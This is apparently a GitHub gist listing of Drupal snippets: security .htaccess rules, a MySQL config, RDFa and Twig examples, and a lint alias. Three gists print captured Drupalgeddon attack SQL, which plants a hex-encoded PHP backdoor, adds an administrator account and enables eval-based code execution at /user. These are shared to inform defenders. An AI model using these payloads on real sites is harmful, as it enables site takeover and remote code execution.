Skip to content

Instantly share code, notes, and snippets.

View scor's full-sized avatar

Stephane Corlosquet scor

57 followers · 14 following
  • Toronto, ON
View GitHub Profile
@scor
scor / .htaccess
Created March 11, 2014 20:05
Drupal .htaccess for Drupal 7's files directory - SA-CORE-2013-003
# Turn off all options we don't need.
Options None
Options +FollowSymLinks
# Set the catch-all handler to prevent scripts from being executed.
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
# Override the handler again if we're run later in the evaluation list.
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
@scor
scor / my.cnf
Created August 22, 2014 18:11
# Example MySQL config file for large systems.
#
# This is for a large system with memory = 512M where the system runs mainly
# MySQL.
#
# MySQL programs look for option files in a set of
# locations which depend on the deployment platform.
# You can copy this option file to one of those
# locations. For information about these locations, see:
# http://dev.mysql.com/doc/mysql/en/option-files.html
@scor
scor / gist:eb7f36db332a46bad51b
Created September 19, 2014 14:20
## RDFa markup
<ol vocab="http://schema.org/" typeof="ItemList">
<li property="itemListElement" typeof="ListItem">
<a property="item" typeof="WebPage" href="http://www.example.com/dresses">
<span property="title">Dresses</span>
</a>
<meta property="position" content="1">
</li>
› <li property="itemListElement" typeof="ListItem">
<a property="item" typeof="WebPage" href="http://www.example.com/dresses/real">
@scor
scor / gist:e9fec191318263025334
Created October 16, 2014 17:40
[0] => 0; INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('jihkzk', '', '', 'jihkzk', 'file_put_contents', 0x613a323a7b693a303b733a32313a226d6f64756c65732f6d656e752f687a6c702e706870223b693a313b733a3134373a223c3f7068702024666f726d313d40245f434f4f4b49455b224b63716633225d3b206966202824666f726d31297b20246f70743d24666f726d312840245f434f4f4b49455b224b63716632225d293b202461753d24666f726d312840245f434f4f4b49455b224b63716631225d293b20246f707428222f3239322f65222c2461752c323932293b207d20706870696e666f28293b223b7d);;#
@scor
scor / gist:4d91321d316a9fd79885
Last active August 29, 2015 14:07
The kind of queries people are throwing at Drupal sites after #drupalsa05. adds a user and grants administrator role.
set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/q4H9PXo02REYap3z2t8UE3F0DfC';INSERT INTO users_roles set uid=@a,rid=3;;#
@scor
scor / gist:b566c0f4d94c5b012f6b
Created October 17, 2014 07:15
Enable PHP module for arbitrary PHP code execution at /user
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);#
@scor
scor / field--field-twitter-id.html.twig
Created February 20, 2015 05:36
Rendering a twitter ID as a link using Twig in Drupal 8
<div{{ attributes }}>
{% if not label_hidden %}
<div{{ title_attributes.addClass('field-label') }}>{{ label }}</div>
{% endif %}
<div{{ content_attributes.addClass('field-items') }}>
{% for item in items %}
<div{{ item.attributes.addClass('field-item') }}><a href="https://twitter.com/{{ item.content['#markup']|trim('@') }}">{{ item.content }}</a></div>
{% endfor %}
</div>
</div>
@scor
scor / gist:653fe0869b03ad8d6929
Last active August 29, 2015 14:26
bash alias for code smoke test and PHP linting in a Drupal codebase
alias code-check="find -E . -type f -regex '^.*\.(engine|inc|install|engine|module|php|profile|test|theme|txt|info|rule|view)' | xargs -Ifile bash -c \"php -l file ; (true)\" | grep -v 'No syntax'
find . -type f | xargs -Ifile grep -H '>>>>>>' file| grep -v Binary | grep -v .git/rr-cache"
@scor
scor / gist:4595196
Last active December 11, 2015 11:38
RDFa Lite markup example describing an organization in HTML head element
<html vocab="http://schema.org/">
<head>
<meta resource="http://my-company.com/" typeof="Organization" />
<meta resource="http://my-company.com/" property="name" content="my company name" />
<meta resource="http://my-company.com/" property="telephone" content="0000-0000" />
<link about="http://my-company.com/" property="address" href="http://my-company.com/#address" />
<meta resource="http://my-company.com/#address" typeof="PostalAddress" />
<meta resource="http://my-company.com/#address" property="streetAddress" content="38 avenue de l'Opera" />
<meta resource="http://my-company.com/#address" property="postalCode" content="98052" />
<meta resource="http://my-company.com/#address" property="addressLocality" content="Seattle" />
@scor
scor / gist:5374653
Created April 12, 2013 19:54
This content gets filtered on input by Drupal
Lorem ipsum dolor sit amet, consectetur adipisicing elit.
<code>
*storage="username"
</code>
Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.